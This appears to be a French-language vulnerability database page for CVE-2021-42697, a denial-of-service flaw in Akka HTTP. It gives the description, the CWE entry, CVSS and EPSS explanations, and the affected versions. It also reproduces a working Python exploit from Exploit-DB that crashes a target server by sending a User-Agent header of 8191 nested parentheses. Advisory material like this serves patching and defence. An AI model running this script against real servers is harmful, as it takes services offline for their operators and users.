CVE-2021-42697 : Détail

CVE-2021-42697

7.5
/
Haute
19.77%V3
Network
2021-11-02
20h44 +00:00
2022-05-11
15h06 +00:00
CVE.org
NVD
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Descriptions du CVE

Akka HTTP 10.1.x before 10.1.15 and 10.2.x before 10.2.7 can encounter stack exhaustion while parsing HTTP headers, which allows a remote attacker to conduct a Denial of Service attack by sending a User-Agent header with deeply nested comments.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-674 Uncontrolled Recursion
The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 50892

Date de publication : 2022-05-10 22h00 +00:00
Auteur : cxosmo
EDB Vérifié : No

# Exploit Title: Akka HTTP Denial of Service via Nested Header Comments # Date: 18/4/2022 # Exploit Author: cxosmo # Vendor Homepage: https://akka.io # Software Link: https://github.com/akka/akka-http # Version: Akka HTTP 10.1.x < 10.1.15 & 10.2.x < 10.2.7 # Tested on: Akka HTTP 10.2.4, Ubuntu # CVE : CVE-2021-42697 import argparse import logging import requests # Logging config logging.basicConfig(level=logging.INFO, format="") log = logging.getLogger() def send_benign_request(url, verify=True): log.info(f"Sending benign request to {url} for checking reachability...") try: r = requests.get(url) log.info(f"Benign request returned following status code: {r.status_code}") return True except Exception as e: log.info(f"The following exception was encountered: {e}") return False def send_malicious_request(url, verify=True): log.info(f"Sending malicious request to {url}") # Akka has default HTTP header limit of 8192; 8191 sufficient to trigger stack overflow per 10.2.4 testing nested_comment_payload = "("*8191 headers = {'User-Agent': nested_comment_payload} try: r = requests.get(url, headers=headers) log.info(f"Request returned following status code: {r.status_code}") # Expected exception to be returned if server is DoSed successfully except requests.exceptions.RequestException as e: if "Remote end closed connection without response" in str(e): log.info(f"The server is unresponsive per {e}: DoS likely successful") except Exception as e: log.info(f"The following exception was encountered: {e}") if __name__ == "__main__": # Parse command line parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter) required_arguments = parser.add_argument_group('required arguments') required_arguments.add_argument("-t", "--target", help="Target URL for vulnerable Akka server (e.g. https://localhost)", required="True", action="store") parser.add_argument("-k", "--insecure", help="Disable verification of SSL/TLS certificate", action="store_false", default=True) args = parser.parse_args() # Send requests: first is connectivity check, second is DoS attempt if send_benign_request(args.target, args.insecure): send_malicious_request(args.target, args.insecure)

Products Mentioned

Configuraton 0

Akka>>Http_server >> Version From (including) 10.1.0 To (excluding) 10.1.15

Akka>>Http_server >> Version From (including) 10.2.0 To (excluding) 10.2.7

Références

https://akka.io/blog/
Tags : x_refsource_MISC